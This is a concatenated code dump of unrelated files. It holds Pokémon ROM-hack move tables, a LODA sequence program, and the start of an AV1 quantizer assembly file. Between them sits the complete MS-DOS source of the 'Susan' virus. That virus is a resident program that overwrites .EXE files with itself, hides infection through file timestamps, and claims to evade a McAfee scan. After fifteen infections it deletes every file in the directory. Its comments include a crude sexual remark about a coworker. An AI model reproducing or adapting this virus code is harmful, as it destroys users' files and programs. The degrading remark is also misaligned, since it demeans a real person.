dbw 37, BODY_SLAM
dbw 43, ICE_BEAM
dbw 50, HYDRO_PUMP
db 0 ; no more level-up moves
AqualloEvosAttacks:
dbbw EVOLVE_LEVEL, 32, AQUARIUS
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, GROWL
dbw 1, BUBBLE
dbw 1, MIST
dbw 7, WATER_GUN
dbw 10, WATER_GUN
dbw 13, POWDER_SNOW
dbw 20, SWIFT
dbw 24, BUBBLEBEAM
dbw 28, AURORA_BEAM
dbw 35, SAFEGUARD
dbw 39, HAZE
dbw 43, BODY_SLAM
dbw 49, ICE_BEAM
dbw 56, HYDRO_PUMP
db 0 ; no more level-up moves
AquariusEvosAttacks:
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, GROWL
dbw 1, BUBBLE
dbw 1, MIST
dbw 7, WATER_GUN
dbw 10, WATER_GUN
dbw 13, POWDER_SNOW
dbw 20, SWIFT
dbw 24, BUBBLEBEAM
dbw 28, AURORA_BEAM
dbw 36, SAFEGUARD
dbw 41, HAZE
dbw 46, BODY_SLAM
dbw 52, ICE_BEAM
dbw 60, HYDRO_PUMP
db 0 ; no more level-up moves
KotoraEvosAttacks:
dbbw EVOLVE_LEVEL, 31, RAITORA
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, TAIL_WHIP
dbw 6, THUNDERSHOCK
dbw 10, BITE
dbw 15, THUNDER_WAVE
dbw 19, SCARY_FACE
dbw 24, SPARK
dbw 28, TAKE_DOWN
dbw 33, SLASH
dbw 37, CRUNCH
dbw 42, THUNDERBOLT
dbw 46, AGILITY
db 0 ; no more level-up moves
RaitoraEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, TAIL_WHIP
dbw 6, THUNDERSHOCK
dbw 10, BITE
dbw 15, THUNDER_WAVE
dbw 19, SCARY_FACE
dbw 24, SPARK
dbw 28, TAKE_DOWN
dbw 35, SLASH
dbw 42, CRUNCH
dbw 49, THUNDERBOLT
dbw 56, AGILITY
db 0 ; no more level-up moves
BomshealEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, TAIL_WHIP
dbw 1, SMOG
dbw 7, EMBER
dbw 12, WATER_GUN
dbw 18, ENCORE
dbw 23, SUPERSONIC
dbw 29, FLAME_WHEEL
dbw 34, BUBBLEBEAM
dbw 40, MIMIC
dbw 45, BODY_SLAM
dbw 51, FIRE_BLAST
dbw 56, HYDRO_PUMP
db 0 ; no more level-up moves
CorasunEvosAttacks:
dbbw EVOLVE_LEVEL, 28, CORAMOLA
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, BUBBLE
dbw 6, DEFENSE_CURL
dbw 10, RAGE
dbw 15, SUPERSONIC
dbw 19, BUBBLEBEAM
dbw 24, SCREECH
dbw 28, SLAM
dbw 33, ACID_ARMOR
dbw 37, CONFUSE_RAY
dbw 42, DOUBLE_EDGE
dbw 46, HYDRO_PUMP
db 0 ; no more level-up moves
CoramolaEvosAttacks:
dbbw EVOLVE_LEVEL, 39, MAMBOKING
db 0 ; no more evolutions
db 0 ; no more level-up moves
MambokingEvosAttacks:
db 0 ; no more evolutions
db 0 ; no more level-up moves
BiteelEvosAttacks:
dbbw EVOLVE_LEVEL, 28, GROTESS
dbw 1, TACKLE
dbw 1, GROWL
db 0 ; no more level-up moves
GrotessEvosAttacks: ;Change moveset to reflect line
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, BUBBLE
dbw 6, DEFENSE_CURL
dbw 10, RAGE
dbw 15, SUPERSONIC
dbw 19, BUBBLEBEAM
dbw 24, SCREECH
dbw 28, IRON_TAIL
dbw 34, ACID_ARMOR
dbw 39, SCARY_FACE
dbw 46, CRUNCH
dbw 52, HYDRO_PUMP
db 0 ; no more level-up moves
RinringEvosAttacks:
dbbw EVOLVE_LEVEL, 28, BELLRUN
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, GROWL
dbw 7, PURSUIT
dbw 12, DISABLE
dbw 18, PAY_DAY
dbw 23, FURY_SWIPES
dbw 29, FAINT_ATTACK
dbw 34, CONFUSE_RAY
dbw 40, SLASH
dbw 45, ATTRACT
db 0 ; no more level-up moves
BellrunEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, GROWL
dbw 7, PURSUIT
dbw 12, DISABLE
dbw 18, PAY_DAY
dbw 23, FURY_SWIPES
dbw 31, FAINT_ATTACK
dbw 39, CONFUSE_RAY
dbw 47, SLASH
dbw 56, ATTRACT
db 0 ; no more level-up moves
BlottleEvosAttacks:
dbbw EVOLVE_LEVEL, 32, PENDRAKEN
dbw 1, BUBBLE
dbw 1, SMOKESCREEN
dbw 6, HARDEN
dbw 13, CONSTRICT
dbw 20, BUBBLEBEAM
dbw 27, BARRIER
dbw 34, SCREECH
dbw 41, WRAP
dbw 48, HYDRO_PUMP
db 0 ; no more level-up moves
PendrakenEvosAttacks:
db 0 ; no more evolutions
dbw 1, BUBBLE
dbw 1, SMOKESCREEN
dbw 1, HARDEN
dbw 13, CONSTRICT
dbw 20, BUBBLEBEAM
dbw 27, BARRIER
dbw 36, SCREECH
dbw 43, WRAP
dbw 50, HYDRO_PUMP
db 0 ; no more level-up moves
KurstrawEvosAttacks:
dbbw EVOLVE_LEVEL, 29, PANGSHI
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, TACKLE
dbw 1, PSYWAVE
dbw 6, SPITE
dbw 10, FAINT_ATTACK
dbw 15, CURSE
dbw 19, MEAN_LOOK
dbw 24, PSYBEAM
dbw 28, CONFUSE_RAY
dbw 33, NIGHT_SHADE
dbw 37, BODY_SLAM
dbw 32, PAIN_SPLIT
dbw 46, SHADOW_BALL
dbw 51, PERISH_SONG
db 0 ; no more level-up moves
PangshiEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, TACKLE
dbw 1, PSYWAVE
dbw 6, SPITE
dbw 10, FAINT_ATTACK
dbw 15, CURSE
dbw 19, MEAN_LOOK
dbw 24, PSYBEAM
dbw 28, CONFUSE_RAY
dbw 29, CRUNCH
dbw 35, NIGHT_SHADE
dbw 42, BODY_SLAM
dbw 48, PAIN_SPLIT
dbw 55, SHADOW_BALL
dbw 61, PERISH_SONG
db 0 ; no more level-up moves
WolfanEvosAttacks:
dbbw EVOLVE_LEVEL, 31, WARWOLF
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 7, POWDER_SNOW
dbw 12, FURY_SWIPES
dbw 18, SAFEGUARD
dbw 23, LOW_KICK
dbw 29, ICY_WIND
dbw 34, SLASH
dbw 40, SCREECH
dbw 45, CONFUSE_RAY
dbw 51, BLIZZARD
db 0 ; no more level-up moves
WarwolfEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 7, POWDER_SNOW
dbw 12, FURY_SWIPES
dbw 18, SAFEGUARD
dbw 23, LOW_KICK
dbw 29, ICY_WIND
dbw 31, ICE_PUNCH
dbw 35, SLASH
dbw 41, SCREECH
dbw 49, CONFUSE_RAY
dbw 56, BLIZZARD
db 0 ; no more level-up moves
CheepEvosAttacks:
dbbw EVOLVE_LEVEL, 28, JABETTA
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, GROWL
dbw 14, BUBBLE
dbw 17, SING
dbw 22, DOUBLESLAP
db 0 ; no more level-up moves
JabettaEvosAttacks:
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, GROWL
dbw 1, BUBBLE
dbw 28, DIZZY_PUNCH
dbw 30, MACH_PUNCH
dbw 34, HYDRO_PUMP
dbw 40, SCREECH
dbw 48, HI_JUMP_KICK
db 0 ; no more level-up moves
SnobitEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
db 0 ; no more level-up moves
BlizbitEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
db 0 ; no more level-up moves
GlacihareEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
db 0 ; no more level-up moves
StemineelEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
db 0 ; no more level-up moves
ArskeedEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
db 0 ; no more level-up moves
DrakarveEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
db 0 ; no more level-up moves
PeticornEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, PONYTA
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, CHARM
dbw 6, TAIL_WHIP
dbw 10, EMBER
dbw 15, FLAME_WHEEL
dbw 19, HEADBUTT
dbw 25, FIRE_SPIN
dbw 31, TAKE_DOWN
dbw 36, AGILITY
dbw 42, FIRE_BLAST
db 0 ; no more level-up moves
GupgoldEvosAttacks:
dbbw EVOLVE_LEVEL, 18, GOLDEEN
db 0 ; no more evolutions
dbw 1, PECK
dbw 1, TAIL_WHIP
dbw 8, SUPERSONIC
dbw 12, HORN_ATTACK
dbw 20, TACKLE
dbw 25, FURY_ATTACK
dbw 32, WATERFALL
dbw 36, HORN_DRILL
dbw 41, AGILITY
db 0 ; no more level-up moves
TritalesEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, VULPIX
db 0 ; no more evolutions
dbw 1, EMBER
dbw 1, TAIL_WHIP
dbw 1, CHARM
dbw 7, DISABLE
dbw 11, QUICK_ATTACK
dbw 14, CONFUSE_RAY
dbw 20, FIRE_SPIN
dbw 24, SPITE
dbw 27, FAINT_ATTACK
dbw 33, FLAMETHROWER
dbw 37, SAFEGUARD
dbw 40, FIRE_BLAST
db 0 ; no more level-up moves
GrimbyEvosAttacks:
dbbw EVOLVE_LEVEL, 20, GRIMER
db 0 ; no more evolutions
dbw 1, POISON_GAS
dbw 1, POUND
dbw 7, HARDEN
dbw 11, MUD_SLAP
dbw 15, DISABLE
dbw 21, SLUDGE
dbw 25, MINIMIZE
dbw 30, SCREECH
dbw 36, ACID_ARMOR
dbw 40, SLUDGE_BOMB
dbw 45, TOXIC
db 0 ; no more level-up moves
ParamiteEvosAttacks:
dbbw EVOLVE_LEVEL, 14, PARAS
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 6, STUN_SPORE
dbw 6, POISONPOWDER
dbw 11, ABSORB
dbw 13, LEECH_LIFE
dbw 17, FURY_CUTTER
dbw 22, SPORE
dbw 27, SLASH
dbw 33, GROWTH
dbw 38, GIGA_DRAIN
db 0 ; no more level-up moves
NyanyaEvosAttacks:
dbbw EVOLVE_LEVEL, 15, MEOWTH
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, GROWL
dbw 7, BITE
dbw 13, PAY_DAY
dbw 19, FURY_SWIPES
dbw 25, FAINT_ATTACK
dbw 37, SCREECH
dbw 43, SLASH
db 0 ; no more level-up moves
PuddipupEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, GROWLITHE
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, CHARM
dbw 6, EMBER
dbw 12, LEER
dbw 17, FLAME_WHEEL
dbw 23, REVERSAL
dbw 28, TAKE_DOWN
dbw 34, FLAMETHROWER
dbw 39, AGILITY
dbw 45, CRUNCH
dbw 50, OUTRAGE
dbw 56, FIRE_BLAST
db 0 ; no more level-up moves
ChixEvosAttacks:
dbbw EVOLVE_LEVEL, 18, DODUO
db 0 ; no more evolutions
dbw 1, PECK
dbw 1, CHARM
dbw 5, QUICK_ATTACK
dbw 10, RAGE
dbw 14, FURY_ATTACK
dbw 19, PURSUIT
dbw 25, AGILITY
dbw 31, SWORDS_DANCE
dbw 36, DRILL_PECK
dbw 42, JUMP_KICK
dbw 47, THRASH
db 0 ; no more level-up moves
KatuEvosAttacks:
dbbw EVOLVE_LEVEL, 25, XATU
db 0 ; no more evolutions
dbw 1, PECK
dbw 1, LEER
dbw 1, NIGHT_SHADE
dbw 10, NIGHT_SHADE
dbw 15, TELEPORT
dbw 25, FUTURE_SIGHT
dbw 45, CONFUSE_RAY
dbw 55, PSYCHIC_M
db 0 ; no more level-up moves
TangtripEvosAttacks:
dbbw EVOLVE_LEVEL, 15, TANGELA
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, CONSTRICT
dbw 4, STUN_SPORE
dbw 7, GROWTH
dbw 10, MEGA_DRAIN
dbw 13, BIND
dbw 19, VINE_WHIP
dbw 25, POISONPOWDER
dbw 31, GIGA_DRAIN
dbw 34, SLEEP_POWDER
dbw 40, ANCIENTPOWER
dbw 46, SLAM
db 0 ; no more level-up moves
GelaniaEvosAttacks:
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, CONSTRICT
dbw 4, STUN_SPORE
dbw 7, GROWTH
dbw 10, MEGA_DRAIN
dbw 13, BIND
dbw 19, VINE_WHIP
dbw 25, POISONPOWDER
dbw 31, GIGA_DRAIN
dbw 34, SLEEP_POWDER
dbw 40, ANCIENTPOWER
dbw 50, SLAM
db 0 ; no more level-up moves
BelmittEvosAttacks:
db 0 ; no more evolutions
dbw 1, VINE_WHIP
dbw 1, SLEEP_POWDER
dbw 1, SWEET_SCENT
dbw 1, RAZOR_LEAF
dbw 55, GIGA_DRAIN
db 0 ; no more level-up moves
TurbanEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, WITHDRAW
dbw 6, POISON_STING
dbw 10, BITE
dbw 15, CLAMP
dbw 19, PROTECT
dbw 24, ACID
dbw 28, BUBBLEBEAM
dbw 33, ACID_ARMOR
dbw 37, DIG
dbw 42, CRUNCH
dbw 46, DOUBLE_EDGE
dbw 51, HYDRO_PUMP
db 0 ; no more level-up moves
PraxeEvosAttacks:
db 0 ; no more evolutions
dbw 1, VICEGRIP
dbw 7, FOCUS_ENERGY
dbw 13, BIND
dbw 19, SEISMIC_TOSS
dbw 25, HARDEN
dbw 30, CROSS_CHOP
dbw 35, THRASH
dbw 38, SWORDS_DANCE
dbw 42, METAL_CLAW
dbw 44, SUBMISSION
dbw 52, GUILLOTINE
dbw 60, MEGAHORN
db 0 ; no more level-up moves
NumbpuffEvosAttacks:
db 0 ; no more evolutions
dbw 1, SPIKES
dbw 1, TACKLE
dbw 1, POISON_STING
dbw 1, WATER_GUN
dbw 9, HARDEN
dbw 9, MINIMIZE
dbw 13, THUNDER_WAVE
dbw 23, SPARK
dbw 28, SELFDESTRUCT
dbw 37, PIN_MISSILE
dbw 40, DESTINY_BOND
dbw 48, HYDRO_PUMP
dbw 50, THUNDERBOLT
db 0 ; no more level-up moves
MettoEvosAttacks:
db 0 ; no more evolutions
dbw 1, TRANSFORM
db 0 ; no more level-up moves
MadameEvosAttacks:
db 0 ; no more evolutions
dbw 1, SAND_ATTACK
dbw 4, LEER
dbw 9, FURY_CUTTER
dbw 13, FURY_ATTACK
dbw 19, WING_ATTACK
dbw 25, FAINT_ATTACK
dbw 31, SLASH
dbw 39, SWORDS_DANCE
dbw 46, AGILITY
dbw 54, FALSE_SWIPE
dbw 61, SKY_ATTACK
db 0 ; no more level-up moves
GuardiaEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, TAIL_WHIP
dbw 1, BONE_CLUB
dbw 1, HEADBUTT
dbw 5, TAIL_WHIP
dbw 17, LEER
dbw 21, FOCUS_ENERGY
dbw 25, BONEMERANG
dbw 33, RAGE
dbw 41, FALSE_SWIPE
dbw 46, THRASH
dbw 53, BONE_RUSH
db 0 ; no more level-up moves
OhmegaEvosAttacks:
db 0 ; no more evolutions
dbw 1, SPARK
dbw 1, RAGE
dbw 28, THUNDERSHOCK
dbw 32, SUPERSONIC
dbw 34, THUNDERBOLT
dbw 37, MEGA_PUNCH
dbw 42, THUNDER_WAVE
dbw 47, SEISMIC_TOSS
db 0 ; no more level-up moves
| 19.16318 | 51 | 0.738428 |
813f523d157c1231ef078f84b0a103df655c9bec | 429 | asm | Assembly | oeis/133/A133201.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/133/A133201.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/133/A133201.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A133201: A133195/3.
; Submitted by Jamie Morken(s2)
; 0,1,2,3,13,23,33,133,233,333,1333,2333,3333,13333,23333,33333,133333,233333,333333,1333333,2333333,3333333,13333333,23333333,33333333,133333333,233333333,333333333,1333333333,2333333333,3333333333
mov $3,$0
mov $4,$0
add $4,1
lpb $4
mov $0,$3
sub $4,1
sub $0,$4
mov $2,$0
sub $2,1
div $2,9
mov $5,10
pow $5,$2
add $1,$5
add $3,2
lpe
mov $0,$1
sub $0,1
| 19.5 | 198 | 0.671329 |
7f35cff38db81398eb1a8f3655e7a7bb45ee0b11 | 11,372 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.susan1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.susan1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.susan1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | Susan virus: included in Crypt Newsletter 13
COMMENT *
Susan Virus, Strain A
Written by NB
This program needs to be assembled with Turbo Assembler.
Special thanks go to Richard S. Sadowsky of TurboPower Software
for the help on using INT 2F with those majick functions!
This is an example of an interesting technique for writing a virus
that is terminate-and-stay-resident.
Description:
Susan is a file overwrite virus. Named for a woman in my department
who is overly concerned about virii, but has no idea about what the
fuck they actually are. She also has real nice tits. This is a TSR
that only infects .EXE files. Each time the user types "DIR", the
first .EXE file found is infected. After 15 such infections, then
each time DIR is typed, all files are erased in that directory.
Infected .EXEs are destroyed and will not run. Attempts to run them
will display the message "Bad command or file name" message.
Interesting Features:
- File size and date-stamp of infected file is maintained.
- Uses Vienna Virus technique of using the file time to determine
if a target file is infected.
- Infects and zaps everytime the user types a plain DIR command.
- Hooks INT 2F for handling the DIR command.
- Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
installed in memory.
- Writes the bug directly from memory.
*
.model small
.code
LOCALS @@
ORG 100h ; for COM file
DTA STRUC ; used for file searching
dtaReserved db 21 dup (0)
dtaAttrib db 0
dtaTime dw 0
dtaDate dw 0
dtaSize dd 0
dtaName db 13 dup (0)
DTA ENDS
DPL STRUC ; DOS Parameter List used for undoc funcs
dplAX DW 0
dplBX DW 0
dplCX DW 0
dplDX DW 0
dplSI DW 0
dplDI DW 0
dplDS DW 0
dplES DW 0
dplCID DW 0 ; computer ID (0 = current system)
dplPID DW 0 ; process ID (PSP on specified computer)
DPL ENDS
Pointer STRUC ; nice structure for a pointer type
Ofst DW 0
Segm DW 0
Pointer ENDS
Start:
JMP Initialize
OurCommandLen EQU 3
PathOfs EQU 80h ; Use command tail of PSP as path buffer
FuckMeNow EQU 16
virSig dw 'uS' ; Don't delete this line...
virName db 'san' ; ...this is the Susan Virus!
EofMarker db 26
OldInt2F Pointer <>
FNameLen db 3
FileName db '*.*', 0
DeleteDPL DPL <>
FuckCount db 0
SaveDTA Pointer <>
TargetMask db '*.EXE', 0
Victim DTA <>
OurCmd db 'DIR', 0Dh
IsInfected:
; This will detect if the .exe is already infected. We are using
; a nifty technique pulled from the Vienna Virus. If the file's
; seconds is 62, then that file is infected.
MOV AX, Victim.dtaTime
AND AX, 1Fh
CMP AX, 1Fh ; >60 seconds
; JZ infected
; JNZ not infected
RET
SearchExec:
; Returns AX = 1 if a uninfected file found
XOR CX,CX ; Search for an .EXE file
MOV DX,OFFSET TargetMask ; DS has seg
MOV AH, 4Eh
INT 21h
JC @@AlreadyInfected ; No .exes in this directory
CALL IsInfected ; Is this file infected?
JNZ @@NotInfectedYET
; Need to look for next file (maybe next version, haha)
@@AlreadyInfected:
XOR AX, AX ; Zeros out AX
RET
@@NotInfectedYET:
MOV AX, 1 ; Return a <> Zero indicator: Boolean
RET
CopySelf:
MOV DX, OFFSET Victim.dtaName ; Open file for read/write
MOV AX, 4301h
MOV CX, 0 ; Clear all attributes to NORMAL
INT 21h
MOV AH, 3Dh ; Now open up the file... Don't worry now about nets
MOV AL, 2 ; read/write access
int 21h
MOV BX, AX
PUSH CS ; Write the virus to the start of the open file
POP DS
MOV DX,OFFSET Start ; Start of virus
MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
MOV AH,40h
NOP ; WOW! this NOP will suppresses McAfees' scan from
INT 21h ; thinking this is a VR [FR] virus!
MOV DX, Victim.dtaDate
MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp
MOV AX, 5701h
OR CX, 001Fh ; And set the time to 62 seconds!
INT 21h ; ala Vienna Virus
MOV AH, 3Eh ; Close up the file - we're done
INT 21h
RET
Manipulate:
PUSH AX ; Uh...Save registers?
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
MOV SI,CS ; get Canonical pathname
MOV ES,SI
MOV DS,SI
CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect?
JL @@InfectCity
MOV DI,PathOfs
MOV SI,OFFSET FileName ; Mask to delete
MOV AH,60h
INT 21h
MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List
MOV [SI].dplAX,4100h
MOV AX,CS
MOV [SI].dplDS,AX
MOV [SI].dplDX,PathOfs
MOV [SI].dplES,0
MOV [SI].dplCID,0
MOV [SI].dplPID,AX
MOV DS,AX ; Make DOS Server Function Call
MOV DX,SI
MOV AX,5D00h
INT 21h
; Infect more here...
@@InfectCity:
MOV AH, 2FH ; get the current DTA address
INT 21h
MOV AX,ES
MOV SaveDTA.Segm, AX ; Save it
MOV SaveDTA.Ofst, BX
MOV DX, OFFSET victim ; Set DTA to this glob of memory
MOV AH, 1Ah
INT 21h
CALL SearchExec
CMP AX, 0
JZ @@InfectNot
CALL CopySelf
INC FuckCount ; Track the time until eating files...
PUSH DS ; Restore the DTA
MOV AX, SaveDTA.Segm
MOV DS, AX
MOV DX, SaveDTA.Ofst
MOV AH, 1Ah
INT 21h
POP DS
; And return to the way it was...
@@InfectNot:
POP ES
POP DS
POP DI
POP SI
POP DX
POP AX
; If you want the DOS command to not execute, then you just need to uncomment
; out the next line:
; MOV BYTE PTR [SI],0 ; clear out the command string
RET
; convert pascal style string in DS:SI to uppercase
UpperCaseSt:
PUSH CX
PUSH SI
XOR CX,CX
MOV CL,BYTE PTR [SI]
@@UpcaseCh: ; Oh well, not too hard...
INC SI
CMP BYTE PTR [SI],'a'
JB @@NotLower
CMP BYTE PTR [SI],'z'
JA @@NotLower
SUB BYTE PTR [SI],'a' - 'A'
@@NotLower:
LOOP @@UpcaseCh
POP SI
POP CX
RET
; zf set if match, zf not set if no match
IsMatch:
; NOTE: ds:bx has command line
; ofs 0 has max length of command line
; ofs 1 has count of bytes to follow command line text,
; terminated with 0Dh
PUSH CX
PUSH SI
PUSH DI
PUSH ES
MOV SI,BX
INC SI
CALL UpperCaseSt
INC SI
MOV CX,CS
MOV ES,CX
MOV DI,OFFSET OurCmd
MOV CX,OurCommandLen + 1
CLD
REPE CMPSB
POP ES
POP DI
POP SI
POP CX
RET
IsMatch2:
PUSH CX
PUSH SI
PUSH DI
PUSH ES
XOR CX,CX
MOV CL,BYTE PTR [SI]
INC SI
CMP CL,OurCommandLen
JNZ @@NotOurs
MOV DI,CS
MOV ES,DI
MOV DI,OFFSET OurCmd
CLD
REPE CMPSB
@@NotOurs:
POP ES
POP DI
POP SI
POP CX
RET
Int2FHandler:
CMP AX, 010Fh ; Am I installed?
JNZ CheckCmd
MOV AX, virSig
IRET
CheckCmd:
CMP AH,0AEh ; a nifty-c00l majick function
JNE @@ChainInt2F
CMP AL,0
JE @@CheckCommand
CMP AL,1
JE @@ExecuteCommand
@@ChainInt2F:
JMP DWORD PTR CS:[OldInt2F]
@@CheckCommand: ; Dos is checking if we are a valid command
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch
JNZ @@ChainInt2F
MOV AL,0FFh
IRET
@@ExecuteCommand: ; Dos says "yup! - Execute it!"
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch2
JNZ @@ChainInt2F
CALL Manipulate
IRET
Initialize:
MOV FuckCount, 0 ; Clear it since we may have written junk
MOV DX,OFFSET InstallMsg
MOV AH,09h
INT 21h
MOV AH,30h ; Check DOS version >= 3.3
INT 21h
XCHG AH,AL
CMP AX,0303h
JB @@InstallBad
; NOTE: This checks to see if we are already installed in memory.
; Basically, we have added a new subfunction to the PRINT funcs
; which returns my initials if installed.
MOV AX, 010Fh ; Check if we are installed
INT 2Fh
CMP AX, virSig
JZ @@InstallBad
MOV AX,352Fh ; Lets get and save int 2F
INT 21h
MOV OldInt2F.Ofst,BX
MOV OldInt2F.Segm,ES
MOV DX,OFFSET Int2FHandler ; And set it to ours
MOV AX,252Fh
INT 21h
MOV SI,2Ch
MOV AX,[SI] ; get segment of env's memory
MOV ES,AX
MOV AH,49h ; release environment block's memory
INT 21h
; NOTE: Normally, we would have something like OFFSET INITIALIZE but
; since we want to write the code from memory to disk, we have to
; keep the whole thing in memory.
MOV DX,OFFSET EndOBug
ADD DX,15
MOV CL,4
SHR DX,CL
MOV AX,3100h
INT 21h ; Terminate and stay resident!
@@InstallBad:
MOV AX,4C00h ; Just quit with no message - no sense telling what
INT 21h ; may have occured...
InstallMsg:
db 'Bad command or file name', 0Dh, 0Ah
EndOBug db '$' ; Very important (tho lame) - Do not remove!
_TEXT ENDS
END Start
| 29.233933 | 79 | 0.500352 |
742f148fbb7b7aed7eead0ab0992c803e649cb61 | 15,444 | asm | Assembly | aom_20170505/aom_dsp/x86/quantize_ssse3_x86_64.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_dsp/x86/quantize_ssse3_x86_64.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_dsp/x86/quantize_ssse3_x86_64.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | ;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "third_party/x86inc/x86inc.asm"
SECTION_RODATA
pw_1: times 8 dw 1
SECTION .text
; TODO(yunqingwang)fix quantize_b code for skip=1 case.
%macro QUANTIZE_FN 2
cglobal quantize_%1, 0, %2, 15, coeff, ncoeff, skip, zbin, round, quant, \
shift, qcoeff, dqcoeff, dequant, \
eob, scan, iscan
cmp dword skipm, 0
jne .blank
; actual quantize loop - setup pointers, rounders, etc.
movifnidn coeffq, coeffmp
movifnidn ncoeffq, ncoeffmp
mov r2, dequantmp
movifnidn zbinq, zbinmp
movifnidn roundq, roundmp
movifnidn quantq, quantmp
mova m0, [zbinq] ; m0 = zbin
mova m1, [roundq] ; m1 = round
mova m2, [quantq] ; m2 = quant
%ifidn %1, b_32x32
pcmpeqw m5, m5
psrlw m5, 15
paddw m0, m5
paddw m1, m5
psrlw m0, 1 ; m0 = (m0 + 1) / 2
psrlw m1, 1 ; m1 = (m1 + 1) / 2
%endif
mova m3, [r2q] ; m3 = dequant
psubw m0, [pw_1]
mov r2, shiftmp
mov r3, qcoeffmp
mova m4, [r2] ; m4 = shift
mov r4, dqcoeffmp
mov r5, iscanmp
%ifidn %1, b_32x32
psllw m4, 1
%endif
pxor m5, m5 ; m5 = dedicated zero
DEFINE_ARGS coeff, ncoeff, d1, qcoeff, dqcoeff, iscan, d2, d3, d4, d5, eob
%if CONFIG_HIGHBITDEPTH
lea coeffq, [ coeffq+ncoeffq*4]
lea qcoeffq, [ qcoeffq+ncoeffq*4]
lea dqcoeffq, [dqcoeffq+ncoeffq*4]
%else
lea coeffq, [ coeffq+ncoeffq*2]
lea qcoeffq, [ qcoeffq+ncoeffq*2]
lea dqcoeffq, [dqcoeffq+ncoeffq*2]
%endif
lea iscanq, [ iscanq+ncoeffq*2]
neg ncoeffq
; get DC and first 15 AC coeffs
%if CONFIG_HIGHBITDEPTH
; coeff stored as 32bit numbers & require 16bit numbers
mova m9, [ coeffq+ncoeffq*4+ 0]
packssdw m9, [ coeffq+ncoeffq*4+16]
mova m10, [ coeffq+ncoeffq*4+32]
packssdw m10, [ coeffq+ncoeffq*4+48]
%else
mova m9, [ coeffq+ncoeffq*2+ 0] ; m9 = c[i]
mova m10, [ coeffq+ncoeffq*2+16] ; m10 = c[i]
%endif
pabsw m6, m9 ; m6 = abs(m9)
pabsw m11, m10 ; m11 = abs(m10)
pcmpgtw m7, m6, m0 ; m7 = c[i] >= zbin
punpckhqdq m0, m0
pcmpgtw m12, m11, m0 ; m12 = c[i] >= zbin
paddsw m6, m1 ; m6 += round
punpckhqdq m1, m1
paddsw m11, m1 ; m11 += round
